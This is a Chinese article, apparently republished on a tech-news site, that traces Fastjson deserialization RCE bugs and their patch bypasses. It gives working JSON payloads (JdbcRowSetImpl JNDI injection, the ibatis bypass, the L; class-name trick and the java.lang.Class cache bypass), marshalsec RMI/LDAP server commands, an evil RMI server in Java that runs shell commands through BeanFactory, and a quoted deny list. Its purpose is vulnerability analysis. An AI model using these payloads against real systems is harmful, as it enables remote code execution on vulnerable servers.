溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么淺談Fastjson RCE漏洞的繞過史

發(fā)布時間:2021-12-14 10:09:03 來源:億速云 閱讀:451 作者:柒染 欄目:安全技術

本篇文章給大家分享的是有關怎么淺談Fastjson RCE漏洞的繞過史,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

引言

fastjson作為一個是使用十分廣泛的jar包,每一次的RCE漏洞都足以博得大眾的眼球,關于fastjson每次漏洞的分析也已經早有大牛詳細剖析,17年fastjson第一次爆出漏洞到現在為止,看一下fastjson的縫縫補補,對期間的漏洞做一個匯總,獲悉其中漏洞挖掘的一些規(guī)律。

Fastjson RCE關鍵函數

DefaultJSONParser. parseObject() 解析傳入的 json 字符串提取不同的 key 進行后續(xù)的處理TypeUtils. loadClass() 根據傳入的類名,生成類的實例JavaBeanDeserializer. Deserialze() 依次調用 @type 中傳入類的對象公有 set\get\is 方法。ParserConfig. checkAutoType() 阿里后續(xù)添加的防護函數,用于在 loadclass 前檢查傳入的類是否合法。

歷史fastjson漏洞匯總與簡析

fastjson RCE漏洞的源頭

首先來看一次fastjson反序列化漏洞的poc:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit",""autoCommit":true}

先看調用棧。

第一版的利用原理比較清晰,因為fastjson在處理以@type形式傳入的類的時候,會默認調用該類的共有set\get\is函數,因此我們在尋找利用類的時候思路如下:

1、類的成員變量我們可以控制;

2、想辦法在調用類的某個set\get\is函數的時候造成命令執(zhí)行。

于是便找到了JdbcRowSetImpl類,該類在setAutoCommit函數中會對成員變量dataSourceName進行l(wèi)ookup,標準的jndi注入利用。

Exec:620,Runtime //命令執(zhí)行

Lookup:417,InitalContext /jndi lookup函數通過rmi或者ldap獲取惡意類

setAutoCommit:4067,JdbcRowSetImpl 通過setAutoCommit從而在后面觸發(fā)了lookup函數

setValue:96,FieldDeserializer //反射調用傳入類的set函數

deserialze:600, JavaBeanDeserializer 通過循環(huán)調用傳入類的共有set,get,is函數

parseObject:368,DefaultJSONParser 解析傳入的json字符串

關于jndi注入的利用方式我在這里簡單提一下,因為jndi注入的利用受jdk版本影響較大,所以在利用的時候還是要多嘗試的。    

注:利用之前當然要先確定一下漏洞是否存在,通過dnslog是個比較好用的法子。

1、基于rmi的利用方式

適用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。

利用方式:

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://127.0.0.1:8080/test/#Exploit

2、基于ldap的利用方式

適用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。

利用方式:

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://127.0.0.1:8080/test/#Exploitt

3、基于BeanFactory的利用方式

適用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后。

利用前提:因為這個利用方式需要借助服務器本地的類,而這個類在tomcat的jar包里面,一般情況下只能在tomcat上可以利用成功。

利用方式:

public class EvilRMIServerNew {
    
public static void main(String[] args) throws Exception {
        System.
out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(
1097);

       
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
       
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
       
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
       
ref.add(new StringRefAddr("forceString", "x=eval"));
       
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
       
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()\")"));

        ReferenceWrapper referenceWrapper =
new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind(
"Object", referenceWrapper);

    }
}

fastjson RCE漏洞的歷次修復與繞過

fastjson在曝出第一版的RCE漏洞之后,官方立馬做了更新,于是就迎來了一個新的主角,checkAutoType() ,在接下來的一系列繞過中都是和這個函數的斗智斗勇。

先看一下這個函數的代碼:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
   
if (typeName == null) {
       
return null;
    }
else if (typeName.length() >= 128) {
       
throw new JSONException("autoType is not support. " + typeName);
    }
else {
        String className = typeName.replace(
'$', '.');
        Class<?> clazz =
null;
       
int mask;
        String accept;
       
if (this.autoTypeSupport || expectClass != null) {
           
for(mask = 0; mask < this.acceptList.length; ++mask) {
                accept =
this.acceptList[mask];
               
if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName,
this.defaultClassLoader, false);
                   
if (clazz != null) {
                        
return clazz;
                    }
                }
            }

           
for(mask = 0; mask < this.denyList.length; ++mask) {
                accept =
this.denyList[mask];
               
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                   
throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

防御的方式比較清晰,限制長度+黑名單,這個時候第一時間產生的想法自然是繞過黑名單,先看一下第一版的黑名單:

this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

其實第一版的黑名單還是挺強大的,關于黑名單的繞過,就我已知的目前只有一個依賴于ibatis的payload,當然因為ibatis在java里面的使用還是非常廣泛的,所以這個payload危害也是比較大的,這也就是1.2.45的繞過。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"{"data_source":"rmi://localhost:1099/Exploit"}}

繞過黑名單是第一種思路,但是安全界大牛們思路還是比較靈活的,很快又發(fā)現了第二種思路,我們再仔細看一下checkAutoType函數的下面這幾行代碼:

f (!this.autoTypeSupport) {
   
for(mask = 0; mask < this.denyList.length; ++mask) {
        accept =
this.denyList[mask];
       
if (className.startsWith(accept)) {
           
throw new JSONException("autoType is not support. " + typeName);
        }
    }

   
for(mask = 0; mask < this.acceptList.length; ++mask) {
        accept =
this.acceptList[mask];
       
if (className.startsWith(accept)) {
           
if (clazz == null) {
                clazz = TypeUtils.loadClass(typeName,
this.defaultClassLoader, false);
            }

該函數是先檢查傳入的@type的值是否是在黑名單里,然后再進入loadClass函數,這樣的話如果loadClass函數里要是會對傳入的class做一些處理的話,我們是不是就能繞過黑名單呢,跟進loadClass函數,

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
   
if (className != null && className.length() != 0) {
        Class<?> clazz = (Class)mappings.get(className);        
if (clazz != null) {
           
return clazz;
        }
else if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(
1), classLoader);
           
return Array.newInstance(componentType, 0).getClass();
        }
else if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(
1, className.length() - 1);
           
return loadClass(newClassName, classLoader);

可以看到當傳入的className以L開頭以 ; 結尾的時候會把className的首字符和最后一個字符截去,再去生成實例,于是繞過的poc就非常好寫了,原來的payload的利用類的首尾加上這兩個字符就Ok了。

{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

之后的42、43版本的繞過和41的原理是一樣的我們就不再提了,具體可以去https://github.com/shengqi158/fastjson-remote-code-execute-poc/自行查閱。

最新fastjson RCE的分析

OK,現在來到了我們期待已久的最新的fastjson漏洞的分析,關于這個漏洞有很精彩的小故事可以講一講。

這個漏洞在曝光之后poc遲遲未見,關于它能夠被利用成功的版本也可謂是每日都有更新,關于版本有幾個關鍵字“51”、“48”,“58”,究竟是哪個讓人摸不到頭腦,于是乎,決定先去看看官方的公告,發(fā)現只有49版本releases的公告里面寫了“增強安全防護”,于是乎決定去48、49版本尋覓一下,看看commit之類的,但是當時也沒有發(fā)現什么。

這個時候,一個名不愿透露姓名的大佬在某個技術群里面默默發(fā)了一個關鍵字“testcase“,當時忽然間產生了一絲電流,難道阿里的大佬們在修漏洞的時候會在testcase里面做測試,然后還把testcase的代碼傳到git里面了?但是還不夠,因為testcase的代碼太多了究竟放在哪里呢,這個時候之前的分析就可以知道,阿里在防護第一版RCE的時候是通過autotypecheck函數,那這次的補丁也很有可能和它相關嘍,直接在testcase里面全局尋找?guī)в衋utotype關鍵字的文件名,于是乎,就到達了如下位置:

怎么淺談Fastjson RCE漏洞的繞過史

依次去看一下里面的文件,基本都是和反序列化漏洞相關的test,其中AutoTypeTest4.java文件中有如下代碼:

public void test_0()throws Exception{
   String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
   String payload_2="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:8889/xxx\",\"autoCommit\":true}";

   assertNotNull("class deser is not null",config.getDeserializer(Class.class));

int size=mappings.size();

final int COUNT=10;
for(int i=0;i<COUNT; ++i){
       JSON.parse(payload,config);
   }

for(int i=0;i<COUNT; ++i){
       Throwable error2=null;
try{
           JSON.parseObject(payload_2);
       }catch(Exception e){
           error2=e;
       }
       assertNotNull(error2);
       assertEquals(JSONException.class,error2.getClass());
   }
   assertEquals(size,mappings.size());
}

看上去和以往的payload都不太一樣,先去寫一個簡化版的代碼,調試一下:

String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
 String payload_2 =
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
 JSON.parse(payload);
 JSON.parse(payload_2);

發(fā)現可以彈框成功(從49版本往前,一個版本一個版本試驗,到47版本試驗成功了),那這就很可疑了,但是還有個問題,漏洞要利用總不能讓你同時傳進去兩個json字符串讓你依次parse吧,于是把兩串json整理如下        
   

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}

果然可以利用成功,、接下來可以調試一下看看漏洞成因,因為一眼就能看出來是繞過了黑名單,所以問題的關鍵自然在checkAutoType()和loadClass()這兩個函數中,去跟進一下

首先在" a " :{ " @type " : " java.lang.Class " , " val " : " com.sun.rowset.JdbcRowSetImpl " } 傳入的時候,Class類是不在黑名單內的,在MiscCodec類的deserialze函數里面可以看到會將val的值拿出來用來生成對應的對象,即JdbcRowSetImpl,但是我們并沒法給JdbcRowSetImpl對象的成員變量賦值,

怎么淺談Fastjson RCE漏洞的繞過史

繼續(xù)往deserialze的下面看,當傳入的@type的值為Class的時候會調用loadClass函數,

怎么淺談Fastjson RCE漏洞的繞過史

再往下跟,有調了一下loadClass函數,多加了一個值為true的參數

怎么淺談Fastjson RCE漏洞的繞過史

再跟進去可以看到因為傳入的cache為true,所以會在mapping里面把JdbcRowSetImpl這個對象的實例和com.sun.rowset.JdbcRowSetImpl 對應起來,OK現在關于a的分析到此為止,

怎么淺談Fastjson RCE漏洞的繞過史

我們該去跟著b

(" b " :{ " @type " : " com.sun.rowset.JdbcRowSetImpl " , " dataSourceName " : " ldap://localhost:1389/Exploit " , " autoCommit " :true}} )了,看看為什么checkautotype()函數沒把b給攔下來,直接去跟進checkautotype函數,當autotype為true的時候,雖然發(fā)現黑名單匹配了,但是TypeUtils.getClassFromMapping(typeName)        !=null所以不會拋出異常。

怎么淺談Fastjson RCE漏洞的繞過史

而當autotype為false的時候,發(fā)現當傳入的@type對應的類在mapping里面有的時候,就直接把之前生成的對象拉出來了,這時候直接返回,壓根還沒有走到后面的黑名單,所以成功繞過了之前的補丁。可以看到這次的poc是不受autotype影響的,

怎么淺談Fastjson RCE漏洞的繞過史

從上面的分析也可以明白后續(xù)官方的補丁做了什么,那自然是把cache的默認值改成了false,不讓Class生成的對象存在mapping里面了。

Fastjson漏洞挖掘的規(guī)律總結

從上面追溯的fastjson的修復繞過上面可以看到有以下幾點還是很值得注意的:

1、 fastjson的防范類是checkAutoType函數,而導致命令執(zhí)行的很關鍵的一步是loadClass,因此從checkAutoType到loadClass之間的代碼,將會是繞過補丁需要研究的關鍵部分。

2、 如果需要繞過黑名單,需要將目光放到使用量較大,并提供jndi功能的jar包上。

3、 對于這種早就修復但是官方還沒有公開的漏洞,github的源碼中說不定有驚喜。

以上就是怎么淺談Fastjson RCE漏洞的繞過史,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI